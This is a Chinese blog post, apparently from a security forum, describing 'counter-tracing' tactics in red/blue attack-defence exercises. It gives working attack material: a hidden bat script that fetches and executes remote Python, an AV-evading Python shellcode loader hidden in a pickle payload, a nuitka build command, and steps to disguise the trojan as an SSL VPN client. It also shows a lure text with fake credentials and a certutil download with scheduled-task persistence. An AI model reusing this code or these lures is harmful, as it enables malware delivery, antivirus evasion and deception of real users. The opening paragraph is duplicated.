为什么防守队也需要钓鱼与免杀呢?因为在红蓝对抗中,如果只通过溯源加分是有限的,想要通过“攻击IP”就获取到攻击者的姓名、电话、地址等信息是比较困难的。那如果在前期就做好反制措施,比如在网站根目录放置一个钓鱼文件(www.zip),那就需要涉及到钓鱼与免杀技术啦。
随着攻防演练的发展,无论是红队的钓鱼邮件还是蓝队的溯源反制都需要涉及到钓鱼与免杀。为什么防守队也需要钓鱼与免杀呢?因为在红蓝对抗中,如果只通过溯源加分是有限的,想要通过“攻击IP”就获取到攻击者的姓名、电话、地址等信息是比较困难的。那如果在前期就做好反制措施,比如在网站根目录放置一个钓鱼文件www.zip,那就需要涉及到钓鱼与免杀技术啦。
作者在前段时间也是承担着防守队的职责,通过溯源反制追回了几千分的分数。接下来作者会站在防守者的角度来说一说溯源反制在攻防演练中如何进行。
首先溯源讲究的就是有效还原攻击链:
1. 攻击者是通过“哪个系统”+“哪个漏洞”打进来的,确认攻击IP有哪些。
2. 攻击者打到内网后做了什么操作,例如“流量代理”+“内网穿透”。
3. 最后总结哪些互联网和内网系统被拿下了,并且通过安全流量设备等方式证明攻击者的攻击动作。
溯源那肯定少不了一些威胁情报平台的帮助,作者通过攻击IP能够溯源到如下这些信息
微步在线情报社区:https://x.threatbook.com/
通过微步在线情报社区可以获取到该服务器的信息,信息模块如下
奇安信威胁情报中心:https://ti.qianxin.com
通过奇安信威胁情报中心可以获取到该服务器的信息,信息模块如下,通过注册的域名可以反查到注册者的个人信息,这里可以做个报告发给裁判审核,说不定运气好就是攻击者的个人信息。
这里有个反制的思路,就是通过主机信息可以看到该服务器开放了多个端口,有些攻击者会在自己服务器上搭建“灯塔”、“Awvs”、“Nessus”等扫描系统,这时候如果能通过口令枚举等途径获取到服务器权限,也是能够给防守进行加分的。
攻击者通过都装有python、java等环境,cobalt strike有个钓鱼攻击模块(Scripted Web Delivery),利用python语言可以做到免杀的效果,这个作者也很好奇为啥不会被查杀。
写个bat脚本,然后将shell脚本命令写在里面,然后通过伪装一下诱导攻击者去点击(例如zip压缩包自解压执行)
@echo offif "%1"=="h" goto begin
Start mshta vbscript:createobject("wscript.shell").run("""%~nx0""h"
,0)(window.close)&&exit
:begin
python -c "import urllib2; exec urllib2.urlopen('http://ip:8090/a').read()
制作免杀exe木马,然后伪装成防守单位的远程vpn程序
代码test1.py
import pickle
import base64 shellcode = """
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://ip/base64.txt').read()
shellcode = base64.b64encode(shellcode)
shellcode = base64.b64decode(shellcode)
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape\_decode(shellcode)\[0\]
shellcode = bytearray(shellcode)
\# 设置VirtualAlloc返回类型为ctypes.c\_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c\_uint64
\# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c\_int(0), ctypes.c\_int(len(shellcode)), ctypes.c\_int(0x3000), ctypes.c\_int(0x40))
\# 放入shellcode
buf = (ctypes.c\_char \* len(shellcode)).from\_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c\_uint64(ptr),
buf,
ctypes.c\_int(len(shellcode))
)
\# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c\_int(0),
ctypes.c\_int(0),
ctypes.c\_uint64(ptr),
ctypes.c\_int(0),
ctypes.c\_int(0),
ctypes.pointer(ctypes.c\_int(0))
)
\# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c\_int(handle),ctypes.c\_int(-1))"""
class A(object):
def \_\_reduce\_\_(self):
return (exec, (shellcode,))
ret = pickle.dumps(A())
ret\_base64 = base64.b64encode(ret)
print(ret\_base64)
代码test2.py
mport base64,pickle,ctypes
shellcode=b'这里填上面python脚本输出的数据'
pickle.loads(base64.b64decode(shellcode))
生成exe文件,一个比较简单的免杀木马,可以绕过杀毒软件
nuitka --mingw64 --standalone --show-memory --show-progress --windows-company-name=test --windows-product-name=test --windows-file-version=1.0 --windows-product-version=1.0 --windows-file-description=test --windows-disable-console --nofollow-imports --follow-import-to=utils,src --onefile --output-dir=out test2.py
伪装成防守队攻击的sslvpn
利用BeCyIconGrabber.exe获取sslvpn的ico图标
接着用工具Restorator 2018.exe替换图标,就可以伪造成一个sslvpn程序了
攻击者会对范围内的系统进行信息收集和攻击利用,这个时候,只需要将免杀木马和vpn连接的教程文档放在一个www.zip的压缩里面,稍微需要伪装一下,可以用类似这样的话术来欺骗攻击者:
vpn测试,仅内部员工使用!
点击文件夹中vpn程序,输入地址和端口
请输入账号密码xxx/[email protected]#123,即可访问资源
bat脚本除了压缩包自解压运行之外,还可以利用工具将bat文件转成exe程序去伪装。
这里还是写个bat脚本文件,先利用certutil下载后门木马文件,然后做一个定时任务test,在每日下午16:18分运行后门木马文件。
@echo offif "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0""h"
,0)(window.close)&&exit
:begin
copy c:\\windows\\system32\\certutil.exe a.exe
a.exe -urlcache -split -f http://ip/test123.exe D://test123.exe
schtasks /create /tn test /tr D:\\\\test123.exe /sc daily /st 16:18
以上是作者自己的一些溯源反制的思路及想法,仅作学习参考,个人觉得比较粗糙,但在攻防演练中也真实起到了作用。师傅们可以参考下上面的思路,在演练中创造出更加有新意、更加实用的一些溯源反制方法。
原文链接:https://forum.butian.net/share/2325